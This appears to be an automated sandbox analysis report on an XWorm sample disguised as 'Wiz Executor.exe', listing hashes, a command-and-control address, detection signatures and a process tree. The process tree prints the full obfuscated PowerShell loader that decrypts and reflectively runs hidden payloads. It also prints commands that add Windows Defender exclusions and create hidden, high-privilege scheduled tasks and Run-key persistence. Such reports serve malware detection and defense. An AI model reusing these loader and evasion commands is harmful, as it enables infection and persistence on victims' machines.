Analysis
-
max time kernel
91s -
max time network
93s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
26-05-2024 16:57
Static task
static1
Behavioral task
behavioral1
Sample
Wiz Executor.exe
Resource
win10v2004-20240426-en
General
-
Target
Wiz Executor.exe
-
Size
214KB
-
MD5
3796bc1f3419e1303eaf1849636fcada
-
SHA1
6d2125ce2b8adf4339fc3303143e99baf1061e84
-
SHA256
7ebd9a91b5cb8f85b9f06edb2b10bcc7a3e40c893c931c464d529bfe2944675b
-
SHA512
64d906b61c027f910facf99a824f8977863e4d8a7642847c25f2bbf0dcc145cb7ccf8e293d618b9c784d2cf1f1e508952ab886077b146a0447329ec185204cf1
-
SSDEEP
3072:TahKyd2n31q5GWp1icKAArDZz4N9GhbkrNEk16U63TSlmC46ST9KBKFIT:TahOyp0yN90QE1U63TSq6o++0
Malware Config
Extracted
xworm
wiz.bounceme.net:6000
-
install_file
USB.exe
Signatures
-
Detect Xworm Payload 2 IoCs
Processes:
resource yara_rule behavioral1/memory/3148-49-0x000002C4B7C90000-0x000002C4B7CA8000-memory.dmp family_xworm behavioral1/memory/3148-91-0x000002C4B81A0000-0x000002C4B81AE000-memory.dmp family_xworm -
Blocklisted process makes network request 6 IoCs
Processes:
powershell.exeflow pid process 18 3148 powershell.exe 23 3148 powershell.exe 26 3148 powershell.exe 28 3148 powershell.exe 39 3148 powershell.exe 40 3148 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs
Run Powershell and hide display window.
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepid process 3940 powershell.exe 428 powershell.exe 3148 powershell.exe 3552 powershell.exe 1388 powershell.exe 436 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\Control Panel\International\Geo\Nation WScript.exe -
Drops startup file 2 IoCs
Processes:
powershell.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\powershell.lnk powershell.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\powershell.lnk powershell.exe -
Executes dropped EXE 1 IoCs
Processes:
powershell.exepid process 4712 powershell.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
Wiz Executor.exepowershell.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" Wiz Executor.exe Set value (str) \REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\powershell = "C:\\Users\\Admin\\AppData\\Local\\powershell.exe" powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Modifies registry class 1 IoCs
Processes:
powershell.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000_Classes\Local Settings powershell.exe -
Suspicious behavior: EnumeratesProcesses 15 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepid process 3940 powershell.exe 3940 powershell.exe 428 powershell.exe 428 powershell.exe 3148 powershell.exe 3148 powershell.exe 3552 powershell.exe 3552 powershell.exe 1388 powershell.exe 1388 powershell.exe 436 powershell.exe 436 powershell.exe 3148 powershell.exe 4712 powershell.exe 4712 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 3940 powershell.exe Token: SeDebugPrivilege 428 powershell.exe Token: SeIncreaseQuotaPrivilege 428 powershell.exe Token: SeSecurityPrivilege 428 powershell.exe Token: SeTakeOwnershipPrivilege 428 powershell.exe Token: SeLoadDriverPrivilege 428 powershell.exe Token: SeSystemProfilePrivilege 428 powershell.exe Token: SeSystemtimePrivilege 428 powershell.exe Token: SeProfSingleProcessPrivilege 428 powershell.exe Token: SeIncBasePriorityPrivilege 428 powershell.exe Token: SeCreatePagefilePrivilege 428 powershell.exe Token: SeBackupPrivilege 428 powershell.exe Token: SeRestorePrivilege 428 powershell.exe Token: SeShutdownPrivilege 428 powershell.exe Token: SeDebugPrivilege 428 powershell.exe Token: SeSystemEnvironmentPrivilege 428 powershell.exe Token: SeRemoteShutdownPrivilege 428 powershell.exe Token: SeUndockPrivilege 428 powershell.exe Token: SeManageVolumePrivilege 428 powershell.exe Token: 33 428 powershell.exe Token: 34 428 powershell.exe Token: 35 428 powershell.exe Token: 36 428 powershell.exe Token: SeIncreaseQuotaPrivilege 428 powershell.exe Token: SeSecurityPrivilege 428 powershell.exe Token: SeTakeOwnershipPrivilege 428 powershell.exe Token: SeLoadDriverPrivilege 428 powershell.exe Token: SeSystemProfilePrivilege 428 powershell.exe Token: SeSystemtimePrivilege 428 powershell.exe Token: SeProfSingleProcessPrivilege 428 powershell.exe Token: SeIncBasePriorityPrivilege 428 powershell.exe Token: SeCreatePagefilePrivilege 428 powershell.exe Token: SeBackupPrivilege 428 powershell.exe Token: SeRestorePrivilege 428 powershell.exe Token: SeShutdownPrivilege 428 powershell.exe Token: SeDebugPrivilege 428 powershell.exe Token: SeSystemEnvironmentPrivilege 428 powershell.exe Token: SeRemoteShutdownPrivilege 428 powershell.exe Token: SeUndockPrivilege 428 powershell.exe Token: SeManageVolumePrivilege 428 powershell.exe Token: 33 428 powershell.exe Token: 34 428 powershell.exe Token: 35 428 powershell.exe Token: 36 428 powershell.exe Token: SeIncreaseQuotaPrivilege 428 powershell.exe Token: SeSecurityPrivilege 428 powershell.exe Token: SeTakeOwnershipPrivilege 428 powershell.exe Token: SeLoadDriverPrivilege 428 powershell.exe Token: SeSystemProfilePrivilege 428 powershell.exe Token: SeSystemtimePrivilege 428 powershell.exe Token: SeProfSingleProcessPrivilege 428 powershell.exe Token: SeIncBasePriorityPrivilege 428 powershell.exe Token: SeCreatePagefilePrivilege 428 powershell.exe Token: SeBackupPrivilege 428 powershell.exe Token: SeRestorePrivilege 428 powershell.exe Token: SeShutdownPrivilege 428 powershell.exe Token: SeDebugPrivilege 428 powershell.exe Token: SeSystemEnvironmentPrivilege 428 powershell.exe Token: SeRemoteShutdownPrivilege 428 powershell.exe Token: SeUndockPrivilege 428 powershell.exe Token: SeManageVolumePrivilege 428 powershell.exe Token: 33 428 powershell.exe Token: 34 428 powershell.exe Token: 35 428 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
powershell.exepid process 3148 powershell.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
Wiz Executor.execmd.exepowershell.exeWScript.execmd.exepowershell.exedescription pid process target process PID 2488 wrote to memory of 1132 2488 Wiz Executor.exe cmd.exe PID 2488 wrote to memory of 1132 2488 Wiz Executor.exe cmd.exe PID 1132 wrote to memory of 3940 1132 cmd.exe powershell.exe PID 1132 wrote to memory of 3940 1132 cmd.exe powershell.exe PID 3940 wrote to memory of 428 3940 powershell.exe powershell.exe PID 3940 wrote to memory of 428 3940 powershell.exe powershell.exe PID 3940 wrote to memory of 2652 3940 powershell.exe WScript.exe PID 3940 wrote to memory of 2652 3940 powershell.exe WScript.exe PID 2652 wrote to memory of 4012 2652 WScript.exe cmd.exe PID 2652 wrote to memory of 4012 2652 WScript.exe cmd.exe PID 4012 wrote to memory of 3148 4012 cmd.exe powershell.exe PID 4012 wrote to memory of 3148 4012 cmd.exe powershell.exe PID 3148 wrote to memory of 3552 3148 powershell.exe powershell.exe PID 3148 wrote to memory of 3552 3148 powershell.exe powershell.exe PID 3148 wrote to memory of 1388 3148 powershell.exe powershell.exe PID 3148 wrote to memory of 1388 3148 powershell.exe powershell.exe PID 3148 wrote to memory of 436 3148 powershell.exe powershell.exe PID 3148 wrote to memory of 436 3148 powershell.exe powershell.exe PID 3148 wrote to memory of 2044 3148 powershell.exe schtasks.exe PID 3148 wrote to memory of 2044 3148 powershell.exe schtasks.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\Wiz Executor.exe"C:\Users\Admin\AppData\Local\Temp\Wiz Executor.exe"1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2488 -
C:\Windows\SYSTEM32\cmd.execmd /c "WizClient.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:1132 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UjAZRUpK+m+1Fzaq04iX13Ejv9ASTlb1VEnVRnlqq6g='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/Ws1JDC8EHsQRbg41s9fWA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ZDnzN=New-Object System.IO.MemoryStream(,$param_var); $rkwec=New-Object System.IO.MemoryStream; $hLElb=New-Object System.IO.Compression.GZipStream($ZDnzN, [IO.Compression.CompressionMode]::Decompress); $hLElb.CopyTo($rkwec); $hLElb.Dispose(); $ZDnzN.Dispose(); $rkwec.Dispose(); $rkwec.ToArray();}function execute_function($param_var,$param2_var){ $GbQvt=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $LGlXX=$GbQvt.EntryPoint; $LGlXX.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\WizClient.bat';$QSfdr=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\WizClient.bat').Split([Environment]::NewLine);foreach ($BucUq in $QSfdr) { if ($BucUq.StartsWith(':: ')) { $xeIpu=$BucUq.Substring(3); break; }}$payloads_var=[string[]]$xeIpu.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));3⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3940 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_260_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_260.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:428
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_260.vbs"4⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2652 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_260.bat" "5⤵
- Suspicious use of WriteProcessMemory
PID:4012 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UjAZRUpK+m+1Fzaq04iX13Ejv9ASTlb1VEnVRnlqq6g='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/Ws1JDC8EHsQRbg41s9fWA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ZDnzN=New-Object System.IO.MemoryStream(,$param_var); $rkwec=New-Object System.IO.MemoryStream; $hLElb=New-Object System.IO.Compression.GZipStream($ZDnzN, [IO.Compression.CompressionMode]::Decompress); $hLElb.CopyTo($rkwec); $hLElb.Dispose(); $ZDnzN.Dispose(); $rkwec.Dispose(); $rkwec.ToArray();}function execute_function($param_var,$param2_var){ $GbQvt=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $LGlXX=$GbQvt.EntryPoint; $LGlXX.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_260.bat';$QSfdr=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_260.bat').Split([Environment]::NewLine);foreach ($BucUq in $QSfdr) { if ($BucUq.StartsWith(':: ')) { $xeIpu=$BucUq.Substring(3); break; }}$payloads_var=[string[]]$xeIpu.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3148 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3552
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1388
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\powershell.exe'7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:436
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "powershell" /tr "C:\Users\Admin\AppData\Local\powershell.exe"7⤵
- Creates scheduled task(s)
PID:2044
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\powershell.exeC:\Users\Admin\AppData\Local\powershell.exe1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4712
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD5661739d384d9dfd807a089721202900b
SHA15b2c5d6a7122b4ce849dc98e79a7713038feac55
SHA25670c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
SHA51281b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
-
Filesize
1KB
MD5f8d49a4af7a844bfc7247d5670def557
SHA126ae0ce194a77a7a1887cf93741293fdfa6c94c4
SHA25661c60aa2e781a7f6ab54577db26d1be6ca3bf40c4c1d29eca48698e8cb5e1a2b
SHA5129e034173b20c85fc63ec88d045ace936af567e52caafe5e5735cf6fd5e72d040b992b38c0490ee9d9e43f6f934695d5913bc7a0c682b36c99e5e2d9923c24a9c
-
Filesize
944B
MD56d42b6da621e8df5674e26b799c8e2aa
SHA1ab3ce1327ea1eeedb987ec823d5e0cb146bafa48
SHA2565ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c
SHA51253faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29
-
Filesize
944B
MD5481e5a63ab627f474e7406859a742abc
SHA1adf952634978d42e343896ac546763cc6e7635fa
SHA256ce32fe7b6fec708c52b5293b3ea0de2f0030be59644c9a635882bb7273b664a6
SHA5128d3d8329276e6fac80fbc4d6cf4ca0d05cd336c7a0e85cafe2fd121e783af1c013347909454aab63bd0c51b6f37317958f23608b980d4a5764d23cdc9aa12f95
-
Filesize
1KB
MD5df87d69dfbe30a72be8a41ba7020fdb1
SHA1319245bb2ad6416d3435d2857a746e54408a9822
SHA256964060b36bdbc812fdbc2c4efa24d60551e2f4b54a18384b1a21992246f0901e
SHA512cc7ee4f7042dacaec0d978205d75b06a02af1ebcd0e92af76a25961375e59a771be14af93c25a26585000555b7de603e7658069814b21e418a96e56d7c62e7fd
-
Filesize
94KB
MD597079766f20389a59df1f035a68ba2d4
SHA18c47e97b73f29df96296ad180bb0929ff4b84744
SHA256929ffee096ba93cc899327ece274d77b4ad6d11030a33c317152b642aeb47d66
SHA5120c26063385def3ba153fe918f32b518ac277a53b5d345962dc314e351c5cd9c50d3335d8c7c48d30f90d66851d1aaba311361cd5841b46e2ca662b866c7418a2
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
-
Filesize
115B
MD5cbf701a47f0bd39ac6bca3dcea01b60e
SHA1d3c1ef4c44c3dffc215868d4e01028deb1dfc2df
SHA256fb12d8c55d1565e36a78bdecfe6ac5ce583d2fc8c675f6cbd4b246903eac82c4
SHA512c612166c4f3f402a691b84de1ef85a04298a77fbe24b2cb8a767646491a6bf8ea822cae31216868a31586f191d210c2447b272aedb5a6750a39080eacfc81f79